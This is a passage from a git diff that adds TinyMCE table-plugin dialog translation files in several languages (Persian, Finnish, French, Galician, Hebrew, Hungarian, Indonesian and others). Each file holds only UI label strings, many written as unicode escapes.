osas","advanced_props":"T\u00e4psustatud seaded","general_props":"\u00dcldised seaded","advanced_tab":"T\u00e4psustatud","general_tab":"\u00dcldine","cell_col":"Uuenda k\u00f5ik veeru lahtrid"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/fa_dlg.js b/js/tiny_mce/plugins/table/langs/fa_dlg.js new file mode 100755 index 0000000..349b43f --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.table_dlg',{"rules_border":"\u062d\u0627\u0634\u06cc\u0647","rules_box":"\u062c\u0639\u0628\u0647","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u067e\u0627\u06cc\u06cc\u0646","rules_above":"\u0628\u0627\u0644\u0627","rules_void":"\u062e\u0627\u0644\u06cc",rules:"\u062e\u0637 \u0647\u0627","frame_all":"\u0647\u0645\u0647","frame_cols":"\u0633\u062a\u0648\u0646 \u0647\u0627","frame_rows":"\u0633\u0637\u0631\u0647\u0627","frame_groups":"\u06af\u0631\u0648\u0647 \u0647\u0627","frame_none":"\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645",frame:"\u0642\u0627\u0628 (Frame)",caption:"\u0639\u0646\u0648\u0627\u0646 \u062c\u062f\u0648\u0644","missing_scope":"\u0622\u06cc\u0627 \u0628\u062f\u0648\u0646 \u062a\u0639\u06cc\u06cc\u0646 \u0645\u062d\u062f\u0648\u062f\u0647 \u0628\u0631\u0627\u06cc \u0633\u0644\u0648\u0644 \u0639\u0646\u0648\u0627\u0646 \u062c\u062f\u0648\u0644\u060c \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc \u062f\u0647\u06cc\u062f\u061f. \u0628\u062f\u0648\u0646 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631\u06a9 \u0645\u062d\u062a\u0648\u0627 \u06cc\u0627 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0628\u0639\u0636\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0645\u0634\u06a9\u0644 \u0628\u0627\u0634\u062f.","cell_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$cells} \u0633\u0644\u0648\u0644 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.","row_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$rows} \u0633\u0637\u0631 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.","col_limit":"\u0634\u0645\u0627 \u0627\u0632 \u062a\u0639\u062f\u0627\u062f \u062d\u062f\u0627\u06a9\u062b\u0631 {$cols} \u0633\u062a\u0648\u0646 \u062a\u062c\u0627\u0648\u0632 \u06a9\u0631\u062f\u06cc\u062f.",colgroup:"\u06af\u0631\u0648\u0647 \u0633\u062a\u0648\u0646",rowgroup:"\u06af\u0631\u0648\u0647 \u0633\u0637\u0631",scope:"\u0645\u062d\u062f\u0648\u062f\u0647",tfoot:"\u067e\u0627\u06cc\u06cc\u0646 \u062c\u062f\u0648\u0644",tbody:"\u0628\u062f\u0646\u0647 \u062c\u062f\u0648\u0644",thead:"\u0628\u0627\u0644\u0627\u06cc \u062c\u062f\u0648\u0644","row_all":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0637\u0631\u0647\u0627 \u062f\u0631 \u062c\u062f\u0648\u0644","row_even":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631\u0647\u0627\u06cc \u0632\u0648\u062c \u062f\u0631 \u062c\u062f\u0648\u0644","row_odd":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631\u0647\u0627\u06cc \u0641\u0631\u062f \u062f\u0631 \u062c\u062f\u0648\u0644","row_row":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0637\u0631 \u0641\u0639\u0644\u06cc","cell_all":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644","cell_row":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u0633\u0637\u0631","cell_cell":"\u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0633\u0644\u0648\u0644 \u0641\u0639\u0644\u06cc",th:"\u0633\u0631 \u062c\u062f\u0648\u0644",td:"\u062f\u0627\u062f\u0647",summary:"\u062e\u0644\u0627\u0635\u0647",bgimage:"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",mime:"\u0646\u0648\u0639 MIME \u0645\u0642\u0635\u062f (Target)",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646",style:"\u0627\u0633\u062a\u06cc\u0644",id:"\u0634\u0646\u0627\u0633\u0647","merge_cells_title":"\u0627\u062f\u063a\u0627\u0645 \u0633\u0644\u0648\u0644 \u0647\u0627\u06cc \u062c\u062f\u0648\u0644",bgcolor:"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647",bordercolor:"\u0631\u0646\u06af \u062d\u0627\u0634\u06cc\u0647","align_bottom":"\u067e\u0627\u06cc\u06cc\u0646","align_top":"\u0628\u0627\u0644\u0627",valign:"\u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc","cell_type":"\u0646\u0648\u0639 \u0633\u0644\u0648\u0644","cell_title":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0644\u0648\u0644 \u062c\u062f\u0648\u0644","row_title":"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0637\u0631 \u062c\u062f\u0648\u0644","align_middle":"\u0648\u0633\u0637","align_right":"\u0631\u0627\u0633\u062a","align_left":"\u0686\u067e","align_default":"\u067e\u06cc\u0634\u0641\u0631\u0636",align:"\u062a\u0631\u0627\u0632",border:"\u062d\u0627\u0634\u06cc\u0647",cellpadding:"\u0644\u0627\u06cc\u0647 \u06af\u0630\u0627\u0631\u06cc \u0633\u0644\u0648\u0644 \u0647\u0627",cellspacing:"\u0641\u0627\u0635\u0644\u0647 \u0633\u0644\u0648\u0644 \u0647\u0627",rows:"\u0633\u0637\u0631\u0647\u0627",cols:"\u0633\u062a\u0648\u0646 \u0647\u0627",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u067e\u0647\u0646\u0627",title:"\u062f\u0631\u062c/\u0627\u0635\u0644\u0627\u062d \u062c\u062f\u0648\u0644",rowtype:"\u0633\u0637\u0631 \u062f\u0631 \u0628\u062e\u0634 \u062c\u062f\u0648\u0644","advanced_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647","general_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u0639\u0645\u0648\u0645\u06cc","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","general_tab":"\u0639\u0645\u0648\u0645\u06cc","cell_col":"\u0628\u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u062a\u0645\u0627\u0645 \u0633\u0644\u0648\u0644\u200c\u0647\u0627 \u062f\u0631 \u0633\u062a\u0648\u0646"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/fi_dlg.js b/js/tiny_mce/plugins/table/langs/fi_dlg.js new file mode 100755 index 0000000..87ed836 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.table_dlg',{"rules_border":"kehys","rules_box":"laatikko","rules_vsides":"pystysuorat reunat","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"vaakasuorat reunat","rules_below":"alapuoli","rules_above":"yl\u00e4puoli","rules_void":"tyhj\u00e4",rules:"S\u00e4\u00e4nn\u00f6t","frame_all":"kaikki","frame_cols":"sarakkeet","frame_rows":"rivit","frame_groups":"ryhm\u00e4t","frame_none":"ei mit\u00e4\u00e4n",frame:"kehys",caption:"Taulukon seloste","missing_scope":"Haluatko varmasti jatkaa m\u00e4\u00e4ritt\u00e4m\u00e4tt\u00e4 tilaa t\u00e4lle taulukon otsakesolulle? Ilman sit\u00e4 joidenkin k\u00e4ytt\u00e4jien voi olla vaikea ymm\u00e4rt\u00e4\u00e4 taulukon sis\u00e4lt\u00e4m\u00e4\u00e4 informaatiota.","cell_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n soluja {$cells}.","row_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n rivej\u00e4 {$rows}.","col_limit":"Olet ylitt\u00e4nyt suurimman sallitun m\u00e4\u00e4r\u00e4n sarakkeita {$cols}.",colgroup:"Sarake ryhm\u00e4",rowgroup:"Rivi ryhm\u00e4",scope:"Tila",tfoot:"Taulukon alaosa",tbody:"Taulukon runko",thead:"Taulukon otsake","row_all":"P\u00e4ivit\u00e4 kaikki taulukon rivit","row_even":"P\u00e4ivit\u00e4 taulukon parilliset rivit","row_odd":"P\u00e4ivit\u00e4 taulukon parittomat rivit","row_row":"P\u00e4ivit\u00e4 rivi","cell_all":"P\u00e4ivit\u00e4 kaikki taulukon solut","cell_row":"P\u00e4ivit\u00e4 kaikki rivin solut","cell_cell":"P\u00e4ivit\u00e4 solu",th:"Otsake",td:"Tietue",summary:"Yhteenveto",bgimage:"Taustakuva",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",mime:"Kohteen MIME-tyyppi",langcode:"Kielen koodi",langdir:"Kielen suunta",style:"Tyyli",id:"Id","merge_cells_title":"Yhdist\u00e4 taulukon solut",bgcolor:"Taustan v\u00e4ri",bordercolor:"Kehyksen v\u00e4ri","align_bottom":"Alas","align_top":"Yl\u00f6s",valign:"Pystysuunnan tasaus","cell_type":"Solun tyyppi","cell_title":"Taulukon solun asetukset","row_title":"Taulukon rivin asetukset","align_middle":"Keskitetty","align_right":"Oikea","align_left":"Vasen","align_default":"Oletus",align:"Tasaus",border:"Kehys",cellpadding:"Solun tyhj\u00e4 tila",cellspacing:"Solun v\u00e4li",rows:"Rivit",cols:"Sarakkeet",height:"Korkeus",width:"Leveys",title:"Lis\u00e4\u00e4/muokkaa taulukkoa",rowtype:"Rivi taulukon osassa","advanced_props":"Edistyneet asetukset","general_props":"Yleiset asetukset","advanced_tab":"Edistynyt","general_tab":"Yleiset","cell_col":"P\u00e4ivit\u00e4 kaikki sarakkeen solut"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/fr_dlg.js b/js/tiny_mce/plugins/table/langs/fr_dlg.js new file mode 100755 index 0000000..9f9488a --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.table_dlg',{"rules_border":"bordure","rules_box":"bo\u00eete","rules_vsides":"verticales","rules_rhs":"\u00e0 droite","rules_lhs":"\u00e0 gauche","rules_hsides":"horizontales","rules_below":"au-dessous","rules_above":"au-dessus","rules_void":"aucune",rules:"R\u00e8gles","frame_all":"tous","frame_cols":"colonnes","frame_rows":"lignes","frame_groups":"groupe","frame_none":"aucun",frame:"Cadre",caption:"Afficher la l\u00e9gende du tableau","missing_scope":"\u00cates-vous s\u00fbr de vouloir continuer sans sp\u00e9cifier de port\u00e9e pour cette cellule de titre ? Sans port\u00e9e, cela peut \u00eatre difficile pour certains utilisateurs de comprendre le contenu ou les donn\u00e9es affich\u00e9es dans le tableau.","cell_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de cellules ({$cells}).","row_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de lignes ({$rows}).","col_limit":"Vous avez d\u00e9pass\u00e9 le nombre maximum de colonnes ({$cols}).",colgroup:"Groupe de colonnes",rowgroup:"Groupe de lignes",scope:"Port\u00e9e",tfoot:"Pied de tableau",tbody:"Corps de tableau",thead:"En-t\u00eates de tableau","row_all":"Mettre \u00e0 jour toutes les lignes du tableau","row_even":"Mettre \u00e0 jour les lignes paires","row_odd":"Mettre \u00e0 jour les lignes impaires","row_row":"Mettre \u00e0 jour la ligne courante","cell_all":"Mettre \u00e0 jour toutes les cellules du tableau","cell_row":"Mettre \u00e0 jour toutes les cellules de la ligne","cell_cell":"Mettre \u00e0 jour la cellule courante",th:"Titre",td:"Donn\u00e9es",summary:"R\u00e9sum\u00e9",bgimage:"Image de fond",rtl:"de droite \u00e0 gauche",ltr:"De gauche \u00e0 droite",mime:"Type MIME de la cible",langcode:"Code de la langue",langdir:"Sens de lecture",style:"Style",id:"Id","merge_cells_title":"Fusionner les cellules",bgcolor:"Couleur du fond",bordercolor:"Couleur de la bordure","align_bottom":"Bas","align_top":"Haut",valign:"Alignement vertical","cell_type":"Type de cellule","cell_title":"Propri\u00e9t\u00e9s de la cellule","row_title":"Propri\u00e9t\u00e9s de la ligne","align_middle":"Centr\u00e9","align_right":"Droite","align_left":"Gauche","align_default":"Par d\u00e9faut",align:"Alignement",border:"Bordure",cellpadding:"Espacement dans les cellules",cellspacing:"Espacement entre les cellules",rows:"Lignes",cols:"Colonnes",height:"Hauteur",width:"Largeur",title:"Ins\u00e9rer / modifier un tableau",rowtype:"Type de ligne","advanced_props":"Propri\u00e9t\u00e9s avanc\u00e9es","general_props":"Propri\u00e9t\u00e9s g\u00e9n\u00e9rales","advanced_tab":"Avanc\u00e9","general_tab":"G\u00e9n\u00e9ral","cell_col":"Mettre \u00e0 jour toutes les cellules de la colonne"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/gl_dlg.js b/js/tiny_mce/plugins/table/langs/gl_dlg.js new file mode 100755 index 0000000..c992348 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.table_dlg',{"rules_border":"borde","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"debaixo","rules_above":"encima","rules_void":"vac\u00edo",rules:"Regras","frame_all":"todos","frame_cols":"columnas","frame_rows":"filas","frame_groups":"grupos","frame_none":"ning\u00fan",frame:"Recadro",caption:"Subt\u00edtulo da t\u00e1boa","missing_scope":"\u00bfEst\u00e1 seguro que desexa continuar sen especifica-lo \u00e1mbito do encabezado de celda? Sen \u00e9l podr\u00eda ser dificultoso pra algunos usuarios entende-lo contido ou os datos mostrados na t\u00e1boa.","cell_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de celdas: {$cells}.","row_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de filas: {$rows}.","col_limit":"Super\u00f3u o n\u00famero m\u00e1ximo de columnas: {$cols}.",colgroup:"Grupo de columnas",rowgroup:"Grupo de filas",scope:"\u00c1mbito",tfoot:"Pe da t\u00e1boa",tbody:"Corpo da t\u00e1boa",thead:"Encabezamento da t\u00e1boa","row_all":"Actualizar todalas filas","row_even":"Actualizar filas pares","row_odd":"Actualizar filas impares","row_row":"Actualizar fila actual","cell_all":"Actualizar todalas celdas na t\u00e1boa","cell_row":"Actualizar todalas celdas na fila","cell_cell":"Actualizar celda actual",th:"Encabezamento",td:"Datos",summary:"Resumen",bgimage:"Imaxe de fondo",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",mime:"Tipo MIME",langcode:"C\u00f3digo da lenguaxe",langdir:"Direcci\u00f3n da lenguaxe",style:"Estilo",id:"Id","merge_cells_title":"Unir celdas",bgcolor:"Cor de fondo",bordercolor:"Cor do borde","align_bottom":"Abaixo","align_top":"Arriba",valign:"Ali\u00f1aci\u00f3n vertical","cell_type":"Tipo de celda","cell_title":"Propiedades da celda","row_title":"Propiedades da fila","align_middle":"Centrado","align_right":"Dereita","align_left":"Esquerda","align_default":"Predet.",align:"Ali\u00f1aci\u00f3n",border:"Borde",cellpadding:"Relleno de celda",cellspacing:"Espaciado de celda",rows:"Filas",cols:"Cols",height:"Alto",width:"Ancho",title:"Insertar/Modificar t\u00e1boa",rowtype:"Tipo de fila","advanced_props":"Propiedades avanzadas","general_props":"Propiedades xerales","advanced_tab":"Avanzado","general_tab":"Xeral","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/he_dlg.js b/js/tiny_mce/plugins/table/langs/he_dlg.js new file mode 100755 index 0000000..25371ea --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.table_dlg',{"rules_border":"\u05d2\u05d1\u05d5\u05dc","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u05de\u05ea\u05d7\u05ea","rules_above":"\u05de\u05e2\u05dc","rules_void":"void",rules:"\u05d7\u05d5\u05e7\u05d9\u05dd","frame_all":"\u05d4\u05db\u05d5\u05dc","frame_cols":"\u05e2\u05de\u05d5\u05d3\u05d5\u05ea","frame_rows":"\u05e9\u05d5\u05e8\u05d5\u05ea","frame_groups":"\u05e7\u05d1\u05d5\u05e6\u05d5\u05ea","frame_none":"\u05dc\u05dc\u05d0",frame:"Frame",caption:"\u05db\u05d5\u05ea\u05e8\u05ea \u05d4\u05d8\u05d1\u05dc\u05d4","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc \u05d4\u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4 \u05e9\u05dc {$cells}.","row_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc \u05d4\u05e9\u05d5\u05e8\u05d5\u05ea \u05e9\u05dc {$rows}.","col_limit":"\u05d7\u05e8\u05d9\u05d2\u05d4 \u05de\u05de\u05e1\u05e4\u05e8 \u05d4\u05e2\u05de\u05d5\u05d3\u05d5\u05ea \u05d4\u05de\u05e7\u05e1\u05d9\u05de\u05d0\u05dc\u05d9 \u05e9\u05dc {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"\u05e9\u05d5\u05e8\u05d4 \u05ea\u05d7\u05ea\u05d9\u05ea",tbody:"\u05e9\u05d5\u05e8\u05d4 \u05e8\u05d2\u05d9\u05dc\u05d4",thead:"\u05e9\u05d5\u05e8\u05ea \u05db\u05d5\u05ea\u05e8\u05ea","row_all":"\u05e2\u05d3\u05db\u05d5\u05df\u05db\u05dc \u05d4\u05e9\u05d5\u05e8\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_even":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d5\u05ea \u05d6\u05d5\u05d2\u05d9\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_odd":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d5\u05ea \u05d0\u05d9-\u05d6\u05d5\u05d2\u05d9\u05d5\u05ea \u05d1\u05d8\u05d1\u05dc\u05d4","row_row":"\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05d5\u05e8\u05d4 \u05e0\u05d5\u05db\u05d7\u05d9\u05ea","cell_all":"\u05e2\u05d3\u05db\u05d5\u05df \u05db\u05dc \u05ea\u05d0\u05d9 \u05d4\u05d8\u05d1\u05dc\u05d4","cell_row":"\u05e2\u05d3\u05db\u05d5\u05df \u05db\u05dc \u05ea\u05d0\u05d9 \u05d4\u05e9\u05d5\u05e8\u05d4","cell_cell":"\u05e2\u05d3\u05db\u05d5\u05df \u05ea\u05d0 \u05e0\u05d5\u05db\u05d7\u05d9",th:"\u05db\u05d5\u05ea\u05e8\u05ea",td:"\u05ea\u05d0 \u05de\u05d9\u05d3\u05e2",summary:"\u05ea\u05de\u05e6\u05d9\u05ea",bgimage:"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",mime:"Target MIME type",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4",style:"\u05e2\u05d9\u05e6\u05d5\u05d1",id:"Id","merge_cells_title":"\u05d0\u05d7\u05d3 \u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d1\u05dc\u05d4",bgcolor:"\u05e6\u05d1\u05e2 \u05d4\u05e8\u05e7\u05e2",bordercolor:"\u05e6\u05d1\u05e2 \u05d4\u05d2\u05d1\u05d5\u05dc","align_bottom":"\u05ea\u05d7\u05ea\u05d9\u05ea","align_top":"\u05e2\u05dc\u05d9\u05d5\u05df",valign:"\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e0\u05db\u05d9","cell_type":"\u05e1\u05d2\u05e0\u05d5\u05df \u05d4\u05ea\u05d0","cell_title":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05ea\u05d0 \u05d1\u05d8\u05d1\u05dc\u05d4","row_title":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","align_middle":"\u05d0\u05de\u05e6\u05e2","align_right":"\u05dc\u05d9\u05de\u05d9\u05df","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_default":"Default",align:"\u05d9\u05e9\u05d5\u05e8 \u05d0\u05d5\u05e4\u05e7\u05d9",border:"\u05d2\u05d1\u05d5\u05dc",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"\u05e9\u05d5\u05e8\u05d5\u05ea",cols:"\u05e2\u05de\u05d5\u05d3\u05d5\u05ea",height:"\u05d2\u05d5\u05d1\u05d4",width:"\u05e8\u05d5\u05d7\u05d1",title:"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05d8\u05d1\u05dc\u05d4",rowtype:"\u05e1\u05d5\u05d2 \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d1\u05dc\u05d4","advanced_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05de\u05ea\u05e7\u05d3\u05de\u05d5\u05ea","general_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05db\u05dc\u05dc\u05d9\u05d5\u05ea","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","general_tab":"\u05db\u05dc\u05dc\u05d9","cell_col":"\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05db\u05dc \u05d4\u05ea\u05d0\u05d9\u05dd \u05d1\u05d8\u05d5\u05e8"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/hu_dlg.js b/js/tiny_mce/plugins/table/langs/hu_dlg.js new file mode 100755 index 0000000..518c3ad --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.table_dlg',{"rules_border":"keret","rules_box":"doboz","rules_vsides":"f. oldalak","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"v. oldalak","rules_below":"alatta","rules_above":"f\u00f6l\u00f6tte","rules_void":"sehol",rules:"Vonalak","frame_all":"mind","frame_cols":"oszlopok","frame_rows":"sorok","frame_groups":"csoportok","frame_none":"nincs",frame:"Keret",caption:"C\u00edmsor","missing_scope":"Biztosan folytatni akarja an\u00e9lk\u00fcl, hogy hat\u00f3k\u00f6rt adna ennek a fejl\u00e9ccell\u00e1nak? Korl\u00e1toz\u00e1sokkal \u00e9l\u0151k sz\u00e1m\u00e1ra neh\u00e9z lesz meg\u00e9rteni a t\u00e1bl\u00e1zat tartalm\u00e1t.","cell_limit":"T\u00fall\u00e9pte a maxim\u00e1lis cellasz\u00e1mot, ami {$cells}.","row_limit":"T\u00fall\u00e9pte a maxim\u00e1lis sorsz\u00e1mot, ami {$rows}.","col_limit":"T\u00fall\u00e9pte a maxim\u00e1lis oszlopsz\u00e1mot, ami {$cols}.",colgroup:"Oszlop csoport",rowgroup:"Sor csoport",scope:"Hat\u00f3k\u00f6r",tfoot:"T\u00e1bl\u00e1zat l\u00e1bl\u00e9c",tbody:"T\u00e1bl\u00e1zat tartalom",thead:"T\u00e1bl\u00e1zat fejl\u00e9c","row_all":"Minden sor friss\u00edt\u00e9se","row_even":"P\u00e1ros sorok friss\u00edt\u00e9se","row_odd":"P\u00e1ratlan sorok friss\u00edt\u00e9se","row_row":"Sor friss\u00edt\u00e9se","cell_all":"T\u00e1bl\u00e1zat \u00f6sszes cell\u00e1j\u00e1nak friss\u00edt\u00e9se","cell_row":"Sor \u00f6sszes cell\u00e1j\u00e1nak friss\u00edt\u00e9se","cell_cell":"Cella friss\u00edt\u00e9se",th:"Fejl\u00e9c",td:"Adat",summary:"\u00d6sszegz\u00e9s",bgimage:"H\u00e1tt\u00e9rk\u00e9p",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",mime:"C\u00e9l MIME t\u00edpus",langcode:"Nyelvk\u00f3d",langdir:"\u00cdr\u00e1s ir\u00e1ny",style:"St\u00edlus",id:"Id","merge_cells_title":"Cell\u00e1k \u00f6sszevon\u00e1sa",bgcolor:"H\u00e1tt\u00e9rsz\u00edn",bordercolor:"Keretsz\u00edn","align_bottom":"Le","align_top":"Fel",valign:"F\u00fcgg\u0151leges igaz\u00edt\u00e1s","cell_type":"Cellat\u00edpus","cell_title":"Cella tulajdons\u00e1gai","row_title":"Sor tulajdons\u00e1gai","align_middle":"K\u00f6z\u00e9pre","align_right":"Jobbra","align_left":"Balra","align_default":"Alap\u00e9rtelmezett",align:"Igaz\u00edt\u00e1s",border:"Keret",cellpadding:"Cella bels\u0151 marg\u00f3",cellspacing:"Cella t\u00e1vols\u00e1g",rows:"Sorok",cols:"Oszlopok",height:"Magass\u00e1g",width:"Sz\u00e9less\u00e9g",title:"T\u00e1bl\u00e1zat besz\u00far\u00e1sa/szerkeszt\u00e9se",rowtype:"Sor a t\u00e1bl\u00e1ban","advanced_props":"Halad\u00f3 tulajdons\u00e1gok","general_props":"\u00c1ltal\u00e1nos tulajdons\u00e1gok","advanced_tab":"Halad\u00f3","general_tab":"\u00c1ltal\u00e1nos","cell_col":"\u00d6sszes cella friss\u00edt\u00e9se az oszlopban"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/id_dlg.js b/js/tiny_mce/plugins/table/langs/id_dlg.js new file mode 100755 index 0000000..e67d2e6 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table caption","missing_scope":"Yakin ingin melanjutkan tanpa menetapkan cakupan sel header tabel ini. Tanpa itu, mungkin sulit bagi beberapa pengguna yang memiliki keterbatasan untuk memahami isi atau data yang ditampilkan dari tabel.","cell_limit":"Anda telah melebihi jumlah maksimum cell {$cells}.","row_limit":"Anda telah melebihi jumlah maksimum row {$rows}.","col_limit":"Anda telah melebihi jumlah maksimum kolom {$cols}.",colgroup:"Col Group",rowgroup:"Row Group",scope:"Scope",tfoot:"Table Foot",tbody:"Table Body",thead:"Table Head","row_all":"Update all rows in table","row_even":"Update even rows in table","row_odd":"Update odd rows in table","row_row":"Update current row","cell_all":"Update all cells in table","cell_row":"Update all cells in row","cell_cell":"Update current cell",th:"Header",td:"Data",summary:"Summary",bgimage:"Gambar Background",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",mime:"Target MIME type",langcode:"Kode Bahasa",langdir:"Bahasa",style:"Style",id:"Id","merge_cells_title":"Merge cell tabel",bgcolor:"Warna Background",bordercolor:"Warna Border","align_bottom":"Bawah","align_top":"Atas",valign:"Vertical alignment","cell_type":"Cell type","cell_title":"Properti cell tabel","row_title":"Properti row tabel","align_middle":"Tengah","align_right":"Kanan","align_left":"Kiri","align_default":"Default",align:"Alignment",border:"Border",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Rows",cols:"Cols",height:"Tinggi",width:"Lebar",title:"Sisipkan/Ubah Tabel",rowtype:"Row in table part","advanced_props":"Properti Advanced","general_props":"Properti 